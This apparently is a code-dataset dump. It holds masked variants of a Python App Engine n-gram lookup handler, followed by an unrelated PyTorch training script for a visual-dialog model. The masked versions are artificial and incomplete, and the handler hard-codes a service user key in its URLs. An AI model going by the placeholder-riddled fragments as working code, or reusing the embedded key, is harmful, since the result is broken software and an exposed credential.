str(string))).read(\n ).split()\n for i in range(len(jps)):\n jps[i] = float(jps[i])\n dictionary = dict(zip(wordlist, jps))\n return sorted(dictionary.iteritems(), key=lambda entity: entity[1],\n reverse=True)\n\n\nclass mainpage(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n if len(self.request.get('m')):\n MONTH = str(self.request.get('m'))\n if len(self.request.get('d')):\n DATASET = str(self.request.get('d'))\n if len(self.request.get('ng')):\n NGRAM = str(self.request.get('ng'))\n if len(self.request.get('pp')):\n PROB = str(self.request.get('pp'))\n REQUESTURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM + '/' + PROB +\n '?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n GENURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM +\n '/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n query = str(self.request.get('q'))\n wordlist = query.strip().split()\n dictionary = dict()\n try:\n cquery = combination(wordlist, 0)[0]\n except:\n cquery = query\n try:\n wordlist = query.strip().split()\n squery = spacesplits(wordlist)[0]\n except:\n squery = query\n try:\n dictionary.update(getdictionary(wordlist))\n except:\n dictionary.update({query: 0})\n try:\n if query != cquery:\n dictionary.update(getdictionary(cquery.split()))\n except:\n dictionary.update({cquery: 0})\n try:\n if query != squery:\n dictionary.update(getdictionary(squery.split()))\n except:\n dictionary.update({squery: 0})\n finallist = dictionary.keys()\n self.response.headers['Content-Type'] = 'text/plain'\n try:\n result = getjp('', finallist, '')\n final = list()\n for i in range(len(result)):\n final.append(10 ** result[i][1])\n printresult = normalize(final)\n for i in range(len(printresult)):\n self.response.out.write(str(result[i][0]) + '\\t' +\n printresult[i] + '\\n')\n except:\n self.response.out.write(query + '\\t' + str(1))\n\n\nclass maintest(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n self.response.headers['Content-Type'] = 'text/plain'\n self.response.out.write(REQUESTURL + '\\n')\n self.response.out.write(GENURL)\n\n\n<function token>\n\n\nclass splittest(webapp.RequestHandler):\n\n def get(self):\n query = self.request.get('q')\n wordlist = query.split()\n splitted = combination(wordlist, 0)\n self.response.out.write(splitted)\n\n\n<function token>\n\n\ndef listtostr(wordlist):\n string = ''\n for word in wordlist:\n string += word + ' '\n string = string.strip()\n return string\n\n\ndef normalize(problist):\n tot = 0\n for x in problist:\n tot += x\n returnlist = list()\n for i in range(len(problist)):\n returnlist.append(str(round(problist[i] / tot, 3)))\n return returnlist\n\n\n<assignment token>\n\n\ndef main():\n run_wsgi_app(application)\n\n\n<code token>\n", "<import token>\n<assignment token>\n\n\nclass lexicon0(db.Model):\n word = db.StringProperty(required=True)\n known = db.StringListProperty(indexed=False)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef getjp1(before, wordlist, after):\n global REQUESTURL\n string = ''\n for x in wordlist:\n string += before + ' ' + str(x) + ' ' + after + '\\n'\n string = string.strip()\n jps = list()\n jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read(\n ).split()\n for i in range(len(jps)):\n jps[i] = float(jps[i])\n dictionary = dict(zip(wordlist, jps))\n return sorted(dictionary.iteritems(), key=lambda entity: entity[1],\n reverse=True)\n\n\nclass mainpage(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n if len(self.request.get('m')):\n MONTH = str(self.request.get('m'))\n if len(self.request.get('d')):\n DATASET = str(self.request.get('d'))\n if len(self.request.get('ng')):\n NGRAM = str(self.request.get('ng'))\n if len(self.request.get('pp')):\n PROB = str(self.request.get('pp'))\n REQUESTURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM + '/' + PROB +\n '?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n GENURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM +\n '/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n query = str(self.request.get('q'))\n wordlist = query.strip().split()\n dictionary = dict()\n try:\n cquery = combination(wordlist, 0)[0]\n except:\n cquery = query\n try:\n wordlist = query.strip().split()\n squery = spacesplits(wordlist)[0]\n except:\n squery = query\n try:\n dictionary.update(getdictionary(wordlist))\n except:\n dictionary.update({query: 0})\n try:\n if query != cquery:\n dictionary.update(getdictionary(cquery.split()))\n except:\n dictionary.update({cquery: 0})\n try:\n if query != squery:\n dictionary.update(getdictionary(squery.split()))\n except:\n dictionary.update({squery: 0})\n finallist = dictionary.keys()\n self.response.headers['Content-Type'] = 'text/plain'\n try:\n result = getjp('', finallist, '')\n final = list()\n for i in range(len(result)):\n final.append(10 ** result[i][1])\n printresult = normalize(final)\n for i in range(len(printresult)):\n self.response.out.write(str(result[i][0]) + '\\t' +\n printresult[i] + '\\n')\n except:\n self.response.out.write(query + '\\t' + str(1))\n\n\nclass maintest(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n self.response.headers['Content-Type'] = 'text/plain'\n self.response.out.write(REQUESTURL + '\\n')\n self.response.out.write(GENURL)\n\n\n<function token>\n\n\nclass splittest(webapp.RequestHandler):\n\n def get(self):\n query = self.request.get('q')\n wordlist = query.split()\n splitted = combination(wordlist, 0)\n self.response.out.write(splitted)\n\n\n<function token>\n<function token>\n\n\ndef normalize(problist):\n tot = 0\n for x in problist:\n tot += x\n returnlist = list()\n for i in range(len(problist)):\n returnlist.append(str(round(problist[i] / tot, 3)))\n return returnlist\n\n\n<assignment token>\n\n\ndef main():\n run_wsgi_app(application)\n\n\n<code token>\n", "<import token>\n<assignment token>\n\n\nclass lexicon0(db.Model):\n word = db.StringProperty(required=True)\n known = db.StringListProperty(indexed=False)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef getjp1(before, wordlist, after):\n global REQUESTURL\n string = ''\n for x in wordlist:\n string += before + ' ' + str(x) + ' ' + after + '\\n'\n string = string.strip()\n jps = list()\n jps = urllib2.urlopen(urllib2.Request(REQUESTURL, str(string))).read(\n ).split()\n for i in range(len(jps)):\n jps[i] = float(jps[i])\n dictionary = dict(zip(wordlist, jps))\n return sorted(dictionary.iteritems(), key=lambda entity: entity[1],\n reverse=True)\n\n\nclass mainpage(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n if len(self.request.get('m')):\n MONTH = str(self.request.get('m'))\n if len(self.request.get('d')):\n DATASET = str(self.request.get('d'))\n if len(self.request.get('ng')):\n NGRAM = str(self.request.get('ng'))\n if len(self.request.get('pp')):\n PROB = str(self.request.get('pp'))\n REQUESTURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM + '/' + PROB +\n '?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n GENURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM +\n '/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n query = str(self.request.get('q'))\n wordlist = query.strip().split()\n dictionary = dict()\n try:\n cquery = combination(wordlist, 0)[0]\n except:\n cquery = query\n try:\n wordlist = query.strip().split()\n squery = spacesplits(wordlist)[0]\n except:\n squery = query\n try:\n dictionary.update(getdictionary(wordlist))\n except:\n dictionary.update({query: 0})\n try:\n if query != cquery:\n dictionary.update(getdictionary(cquery.split()))\n except:\n dictionary.update({cquery: 0})\n try:\n if query != squery:\n dictionary.update(getdictionary(squery.split()))\n except:\n dictionary.update({squery: 0})\n finallist = dictionary.keys()\n self.response.headers['Content-Type'] = 'text/plain'\n try:\n result = getjp('', finallist, '')\n final = list()\n for i in range(len(result)):\n final.append(10 ** result[i][1])\n printresult = normalize(final)\n for i in range(len(printresult)):\n self.response.out.write(str(result[i][0]) + '\\t' +\n printresult[i] + '\\n')\n except:\n self.response.out.write(query + '\\t' + str(1))\n\n\nclass maintest(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n self.response.headers['Content-Type'] = 'text/plain'\n self.response.out.write(REQUESTURL + '\\n')\n self.response.out.write(GENURL)\n\n\n<function token>\n\n\nclass splittest(webapp.RequestHandler):\n\n def get(self):\n query = self.request.get('q')\n wordlist = query.split()\n splitted = combination(wordlist, 0)\n self.response.out.write(splitted)\n\n\n<function token>\n<function token>\n<function token>\n<assignment token>\n\n\ndef main():\n run_wsgi_app(application)\n\n\n<code token>\n", "<import token>\n<assignment token>\n\n\nclass lexicon0(db.Model):\n word = db.StringProperty(required=True)\n known = db.StringListProperty(indexed=False)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass mainpage(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n if len(self.request.get('m')):\n MONTH = str(self.request.get('m'))\n if len(self.request.get('d')):\n DATASET = str(self.request.get('d'))\n if len(self.request.get('ng')):\n NGRAM = str(self.request.get('ng'))\n if len(self.request.get('pp')):\n PROB = str(self.request.get('pp'))\n REQUESTURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM + '/' + PROB +\n '?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n GENURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM +\n '/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n query = str(self.request.get('q'))\n wordlist = query.strip().split()\n dictionary = dict()\n try:\n cquery = combination(wordlist, 0)[0]\n except:\n cquery = query\n try:\n wordlist = query.strip().split()\n squery = spacesplits(wordlist)[0]\n except:\n squery = query\n try:\n dictionary.update(getdictionary(wordlist))\n except:\n dictionary.update({query: 0})\n try:\n if query != cquery:\n dictionary.update(getdictionary(cquery.split()))\n except:\n dictionary.update({cquery: 0})\n try:\n if query != squery:\n dictionary.update(getdictionary(squery.split()))\n except:\n dictionary.update({squery: 0})\n finallist = dictionary.keys()\n self.response.headers['Content-Type'] = 'text/plain'\n try:\n result = getjp('', finallist, '')\n final = list()\n for i in range(len(result)):\n final.append(10 ** result[i][1])\n printresult = normalize(final)\n for i in range(len(printresult)):\n self.response.out.write(str(result[i][0]) + '\\t' +\n printresult[i] + '\\n')\n except:\n self.response.out.write(query + '\\t' + str(1))\n\n\nclass maintest(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n self.response.headers['Content-Type'] = 'text/plain'\n self.response.out.write(REQUESTURL + '\\n')\n self.response.out.write(GENURL)\n\n\n<function token>\n\n\nclass splittest(webapp.RequestHandler):\n\n def get(self):\n query = self.request.get('q')\n wordlist = query.split()\n splitted = combination(wordlist, 0)\n self.response.out.write(splitted)\n\n\n<function token>\n<function token>\n<function token>\n<assignment token>\n\n\ndef main():\n run_wsgi_app(application)\n\n\n<code token>\n", "<import token>\n<assignment token>\n\n\nclass lexicon0(db.Model):\n word = db.StringProperty(required=True)\n known = db.StringListProperty(indexed=False)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass mainpage(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n if len(self.request.get('m')):\n MONTH = str(self.request.get('m'))\n if len(self.request.get('d')):\n DATASET = str(self.request.get('d'))\n if len(self.request.get('ng')):\n NGRAM = str(self.request.get('ng'))\n if len(self.request.get('pp')):\n PROB = str(self.request.get('pp'))\n REQUESTURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM + '/' + PROB +\n '?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n GENURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM +\n '/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n query = str(self.request.get('q'))\n wordlist = query.strip().split()\n dictionary = dict()\n try:\n cquery = combination(wordlist, 0)[0]\n except:\n cquery = query\n try:\n wordlist = query.strip().split()\n squery = spacesplits(wordlist)[0]\n except:\n squery = query\n try:\n dictionary.update(getdictionary(wordlist))\n except:\n dictionary.update({query: 0})\n try:\n if query != cquery:\n dictionary.update(getdictionary(cquery.split()))\n except:\n dictionary.update({cquery: 0})\n try:\n if query != squery:\n dictionary.update(getdictionary(squery.split()))\n except:\n dictionary.update({squery: 0})\n finallist = dictionary.keys()\n self.response.headers['Content-Type'] = 'text/plain'\n try:\n result = getjp('', finallist, '')\n final = list()\n for i in range(len(result)):\n final.append(10 ** result[i][1])\n printresult = normalize(final)\n for i in range(len(printresult)):\n self.response.out.write(str(result[i][0]) + '\\t' +\n printresult[i] + '\\n')\n except:\n self.response.out.write(query + '\\t' + str(1))\n\n\nclass maintest(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n self.response.headers['Content-Type'] = 'text/plain'\n self.response.out.write(REQUESTURL + '\\n')\n self.response.out.write(GENURL)\n\n\n<function token>\n\n\nclass splittest(webapp.RequestHandler):\n\n def get(self):\n query = self.request.get('q')\n wordlist = query.split()\n splitted = combination(wordlist, 0)\n self.response.out.write(splitted)\n\n\n<function token>\n<function token>\n<function token>\n<assignment token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n\n\nclass lexicon0(db.Model):\n <assignment token>\n <assignment token>\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass mainpage(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n if len(self.request.get('m')):\n MONTH = str(self.request.get('m'))\n if len(self.request.get('d')):\n DATASET = str(self.request.get('d'))\n if len(self.request.get('ng')):\n NGRAM = str(self.request.get('ng'))\n if len(self.request.get('pp')):\n PROB = str(self.request.get('pp'))\n REQUESTURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM + '/' + PROB +\n '?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n GENURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM +\n '/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n query = str(self.request.get('q'))\n wordlist = query.strip().split()\n dictionary = dict()\n try:\n cquery = combination(wordlist, 0)[0]\n except:\n cquery = query\n try:\n wordlist = query.strip().split()\n squery = spacesplits(wordlist)[0]\n except:\n squery = query\n try:\n dictionary.update(getdictionary(wordlist))\n except:\n dictionary.update({query: 0})\n try:\n if query != cquery:\n dictionary.update(getdictionary(cquery.split()))\n except:\n dictionary.update({cquery: 0})\n try:\n if query != squery:\n dictionary.update(getdictionary(squery.split()))\n except:\n dictionary.update({squery: 0})\n finallist = dictionary.keys()\n self.response.headers['Content-Type'] = 'text/plain'\n try:\n result = getjp('', finallist, '')\n final = list()\n for i in range(len(result)):\n final.append(10 ** result[i][1])\n printresult = normalize(final)\n for i in range(len(printresult)):\n self.response.out.write(str(result[i][0]) + '\\t' +\n printresult[i] + '\\n')\n except:\n self.response.out.write(query + '\\t' + str(1))\n\n\nclass maintest(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n self.response.headers['Content-Type'] = 'text/plain'\n self.response.out.write(REQUESTURL + '\\n')\n self.response.out.write(GENURL)\n\n\n<function token>\n\n\nclass splittest(webapp.RequestHandler):\n\n def get(self):\n query = self.request.get('q')\n wordlist = query.split()\n splitted = combination(wordlist, 0)\n self.response.out.write(splitted)\n\n\n<function token>\n<function token>\n<function token>\n<assignment token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass mainpage(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n if len(self.request.get('m')):\n MONTH = str(self.request.get('m'))\n if len(self.request.get('d')):\n DATASET = str(self.request.get('d'))\n if len(self.request.get('ng')):\n NGRAM = str(self.request.get('ng'))\n if len(self.request.get('pp')):\n PROB = str(self.request.get('pp'))\n REQUESTURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM + '/' + PROB +\n '?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n GENURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM +\n '/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n query = str(self.request.get('q'))\n wordlist = query.strip().split()\n dictionary = dict()\n try:\n cquery = combination(wordlist, 0)[0]\n except:\n cquery = query\n try:\n wordlist = query.strip().split()\n squery = spacesplits(wordlist)[0]\n except:\n squery = query\n try:\n dictionary.update(getdictionary(wordlist))\n except:\n dictionary.update({query: 0})\n try:\n if query != cquery:\n dictionary.update(getdictionary(cquery.split()))\n except:\n dictionary.update({cquery: 0})\n try:\n if query != squery:\n dictionary.update(getdictionary(squery.split()))\n except:\n dictionary.update({squery: 0})\n finallist = dictionary.keys()\n self.response.headers['Content-Type'] = 'text/plain'\n try:\n result = getjp('', finallist, '')\n final = list()\n for i in range(len(result)):\n final.append(10 ** result[i][1])\n printresult = normalize(final)\n for i in range(len(printresult)):\n self.response.out.write(str(result[i][0]) + '\\t' +\n printresult[i] + '\\n')\n except:\n self.response.out.write(query + '\\t' + str(1))\n\n\nclass maintest(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n self.response.headers['Content-Type'] = 'text/plain'\n self.response.out.write(REQUESTURL + '\\n')\n self.response.out.write(GENURL)\n\n\n<function token>\n\n\nclass splittest(webapp.RequestHandler):\n\n def get(self):\n query = self.request.get('q')\n wordlist = query.split()\n splitted = combination(wordlist, 0)\n self.response.out.write(splitted)\n\n\n<function token>\n<function token>\n<function token>\n<assignment token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass mainpage(webapp.RequestHandler):\n <function token>\n\n\nclass maintest(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n self.response.headers['Content-Type'] = 'text/plain'\n self.response.out.write(REQUESTURL + '\\n')\n self.response.out.write(GENURL)\n\n\n<function token>\n\n\nclass splittest(webapp.RequestHandler):\n\n def get(self):\n query = self.request.get('q')\n wordlist = query.split()\n splitted = combination(wordlist, 0)\n self.response.out.write(splitted)\n\n\n<function token>\n<function token>\n<function token>\n<assignment token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<class token>\n\n\nclass maintest(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n self.response.headers['Content-Type'] = 'text/plain'\n self.response.out.write(REQUESTURL + '\\n')\n self.response.out.write(GENURL)\n\n\n<function token>\n\n\nclass splittest(webapp.RequestHandler):\n\n def get(self):\n query = self.request.get('q')\n wordlist = query.split()\n splitted = combination(wordlist, 0)\n self.response.out.write(splitted)\n\n\n<function token>\n<function token>\n<function token>\n<assignment token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<class token>\n\n\nclass maintest(webapp.RequestHandler):\n <function token>\n\n\n<function token>\n\n\nclass splittest(webapp.RequestHandler):\n\n def get(self):\n query = self.request.get('q')\n wordlist = query.split()\n splitted = combination(wordlist, 0)\n self.response.out.write(splitted)\n\n\n<function token>\n<function token>\n<function token>\n<assignment token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<class token>\n<class token>\n<function token>\n\n\nclass splittest(webapp.RequestHandler):\n\n def get(self):\n query = self.request.get('q')\n wordlist = query.split()\n splitted = combination(wordlist, 0)\n self.response.out.write(splitted)\n\n\n<function token>\n<function token>\n<function token>\n<assignment token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<class token>\n<class token>\n<function token>\n\n\nclass splittest(webapp.RequestHandler):\n <function token>\n\n\n<function token>\n<function token>\n<function token>\n<assignment token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<class token>\n<class token>\n<function token>\n<class token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<function token>\n<code token>\n" ]
false
9,913
4d1900c1a0a8d7639e0ec16fb0128fd8efc2e8a1
import os os.environ["CUDA_VISIBLE_DEVICES"] = "0,1" import logging import itertools import torch from torch import nn, optim from torch.optim import lr_scheduler from torch.utils.data import DataLoader from torch.utils.tensorboard import SummaryWriter from tqdm import tqdm from setproctitle import setproctitle from bisect import bisect from datetime import datetime import numpy as np from data.dataset import VisDialDataset from visdial.encoders import Encoder from visdial.decoders import Decoder from visdial.model import EncoderDecoderModel from visdial.utils.checkpointing import CheckpointManager, load_checkpoint from single_evaluation import Evaluation class MVAN(object): def __init__(self, hparams): self.hparams = hparams self._logger = logging.getLogger(__name__) np.random.seed(hparams.random_seed[0]) torch.manual_seed(hparams.random_seed[0]) torch.cuda.manual_seed_all(hparams.random_seed[0]) torch.backends.cudnn.benchmark = False torch.backends.cudnn.deterministic = True self.device = ( torch.device("cuda", self.hparams.gpu_ids[0]) if self.hparams.gpu_ids[0] >= 0 else torch.device("cpu") ) setproctitle(hparams.dataset_version + '_' + hparams.model_name + '_' + str(hparams.random_seed[0])) # def _build_data_process(self): def _build_dataloader(self): # ============================================================================= # SETUP DATASET, DATALOADER # ============================================================================= old_split = "train" if self.hparams.dataset_version == "0.9" else None self.train_dataset = VisDialDataset( self.hparams, overfit=self.hparams.overfit, split="train", old_split = old_split ) collate_fn = None if "dan" in self.hparams.img_feature_type: collate_fn = self.train_dataset.collate_fn self.train_dataloader = DataLoader( self.train_dataset, batch_size=self.hparams.train_batch_size, num_workers=self.hparams.cpu_workers, shuffle=True, drop_last=True, collate_fn=collate_fn, ) print(""" # ------------------------------------------------------------------------- # DATALOADER FINISHED # ------------------------------------------------------------------------- """) def _build_model(self): # ============================================================================= # MODEL : Encoder, Decoder # ============================================================================= print('\t* Building model...') # Pass vocabulary to construct Embedding layer. encoder = Encoder(self.hparams, self.train_dataset.vocabulary) decoder = Decoder(self.hparams, self.train_dataset.vocabulary) print("Encoder: {}".format(self.hparams.encoder)) print("Decoder: {}".format(self.hparams.decoder)) # New: Initializing word_embed using GloVe if self.hparams.glove_npy != '': encoder.word_embed.weight.data = torch.from_numpy(np.load(self.hparams.glove_npy)) print("Loaded glove vectors from {}".format(self.hparams.glove_npy)) # Share word embedding between encoder and decoder. decoder.word_embed = encoder.word_embed # Wrap encoder and decoder in a model. self.model = EncoderDecoderModel(encoder, decoder) self.model = self.model.to(self.device) # Use Multi-GPUs if -1 not in self.hparams.gpu_ids and len(self.hparams.gpu_ids) > 1: self.model = nn.DataParallel(self.model, self.hparams.gpu_ids) # ============================================================================= # CRITERION # ============================================================================= if "disc" in self.hparams.decoder: self.criterion = nn.CrossEntropyLoss() elif "gen" in self.hparams.decoder: self.criterion = nn.CrossEntropyLoss(ignore_index=self.train_dataset.vocabulary.PAD_INDEX) # Total Iterations -> for learning rate scheduler if self.hparams.training_splits == "trainval": self.iterations = (len(self.train_dataset) + len(self.valid_dataset)) // self.hparams.virtual_batch_size else: self.iterations = len(self.train_dataset) // self.hparams.virtual_batch_size # ============================================================================= # OPTIMIZER, SCHEDULER # ============================================================================= def lr_lambda_fun(current_iteration: int) -> float: """Returns a learning rate multiplier. Till `warmup_epochs`, learning rate linearly increases to `initial_lr`, and then gets multiplied by `lr_gamma` every time a milestone is crossed. """ current_epoch = float(current_iteration) / self.iterations if current_epoch <= self.hparams.warmup_epochs: alpha = current_epoch / float(self.hparams.warmup_epochs) return self.hparams.warmup_factor * (1.0 - alpha) + alpha else: return_val = 1.0 if current_epoch >= self.hparams.lr_milestones[0] and current_epoch < self.hparams.lr_milestones2[0]: idx = bisect(self.hparams.lr_milestones, current_epoch) return_val = pow(self.hparams.lr_gamma, idx) elif current_epoch >= self.hparams.lr_milestones2[0]: idx = bisect(self.hparams.lr_milestones2, current_epoch) return_val = self.hparams.lr_gamma * pow(self.hparams.lr_gamma2, idx) return return_val if self.hparams.lr_scheduler == "LambdaLR": self.optimizer = optim.Adam(self.model.parameters(), lr=self.hparams.initial_lr) self.scheduler = lr_scheduler.LambdaLR(self.optimizer, lr_lambda=lr_lambda_fun) else: raise NotImplementedError print( """ # ------------------------------------------------------------------------- # Model Build Finished # ------------------------------------------------------------------------- """ ) def _setup_training(self): if self.hparams.save_dirpath == 'checkpoints/': self.save_dirpath = os.path.join(self.hparams.root_dir, self.hparams.save_dirpath) self.summary_writer = SummaryWriter(self.save_dirpath) self.checkpoint_manager = CheckpointManager( self.model, self.optimizer, self.save_dirpath, hparams=self.hparams ) # If loading from checkpoint, adjust start epoch and load parameters. if self.hparams.load_pthpath == "": self.start_epoch = 1 else: # "path/to/checkpoint_xx.pth" -> xx self.start_epoch = int(self.hparams.load_pthpath.split("_")[-1][:-4]) self.start_epoch += 1 model_state_dict, optimizer_state_dict = load_checkpoint(self.hparams.load_pthpath) if isinstance(self.model, nn.DataParallel): self.model.module.load_state_dict(model_state_dict) else: self.model.load_state_dict(model_state_dict) self.optimizer.load_state_dict(optimizer_state_dict) self.previous_model_path = self.hparams.load_pthpath print("Loaded model from {}".format(self.hparams.load_pthpath)) print( """ # ------------------------------------------------------------------------- # Setup Training Finished # ------------------------------------------------------------------------- """ ) def _loss_fn(self, epoch, batch, output): target = (batch["ans_ind"] if "disc" in self.hparams.decoder else batch["ans_out"]) batch_loss = self.criterion(output.view(-1, output.size(-1)), target.view(-1).to(self.device)) return batch_loss def train(self): self._build_dataloader() self._build_model() self._setup_training() # Evaluation Setup evaluation = Evaluation(self.hparams, model=self.model, split="val") # Forever increasing counter to keep track of iterations (for tensorboard log). global_iteration_step = (self.start_epoch - 1) * self.iterations running_loss = 0.0 # New train_begin = datetime.utcnow() # New print( """ # ------------------------------------------------------------------------- # Model Train Starts (NEW) # ------------------------------------------------------------------------- """ ) for epoch in range(self.start_epoch, self.hparams.num_epochs): self.model.train() # ------------------------------------------------------------------------- # ON EPOCH START (combine dataloaders if training on train + val) # ------------------------------------------------------------------------- combined_dataloader = itertools.chain(self.train_dataloader) print(f"\nTraining for epoch {epoch}:", "Total Iter:", self.iterations) tqdm_batch_iterator = tqdm(combined_dataloader) accumulate_batch = 0 # taesun New for i, batch in enumerate(tqdm_batch_iterator): buffer_batch = batch.copy() for key in batch: buffer_batch[key] = buffer_batch[key].to(self.device) output = self.model(buffer_batch) batch_loss = self._loss_fn(epoch, batch, output) batch_loss.backward() accumulate_batch += batch["img_ids"].shape[0] if self.hparams.virtual_batch_size == accumulate_batch \ or i == (len(self.train_dataset) // self.hparams.train_batch_size): # last batch self.optimizer.step() # -------------------------------------------------------------------- # Update running loss and decay learning rates # -------------------------------------------------------------------- if running_loss > 0.0: running_loss = 0.95 * running_loss + 0.05 * batch_loss.item() else: running_loss = batch_loss.item() self.optimizer.zero_grad() accumulate_batch = 0 self.scheduler.step(global_iteration_step) global_iteration_step += 1 # torch.cuda.empty_cache() description = "[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]".format( datetime.utcnow() - train_begin, epoch, global_iteration_step, running_loss, self.optimizer.param_groups[0]['lr']) tqdm_batch_iterator.set_description(description) # tensorboard if global_iteration_step % self.hparams.tensorboard_step == 0: description = "[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]".format( datetime.utcnow() - train_begin, epoch, global_iteration_step, running_loss, self.optimizer.param_groups[0]['lr'], ) self._logger.info(description) # tensorboard writing scalar self.summary_writer.add_scalar( "train/loss", batch_loss, global_iteration_step ) self.summary_writer.add_scalar( "train/lr", self.optimizer.param_groups[0]["lr"], global_iteration_step ) # ------------------------------------------------------------------------- # ON EPOCH END (checkpointing and validation) # ------------------------------------------------------------------------- self.checkpoint_manager.step(epoch) self.previous_model_path = os.path.join(self.checkpoint_manager.ckpt_dirpath, "checkpoint_%d.pth" % (epoch)) self._logger.info(self.previous_model_path) if epoch < self.hparams.num_epochs - 1 and self.hparams.dataset_version == '0.9': continue torch.cuda.empty_cache() evaluation.run_evaluate(self.previous_model_path, global_iteration_step, self.summary_writer, os.path.join(self.checkpoint_manager.ckpt_dirpath, "ranks_%d_valid.json" % epoch)) torch.cuda.empty_cache() return self.previous_model_path
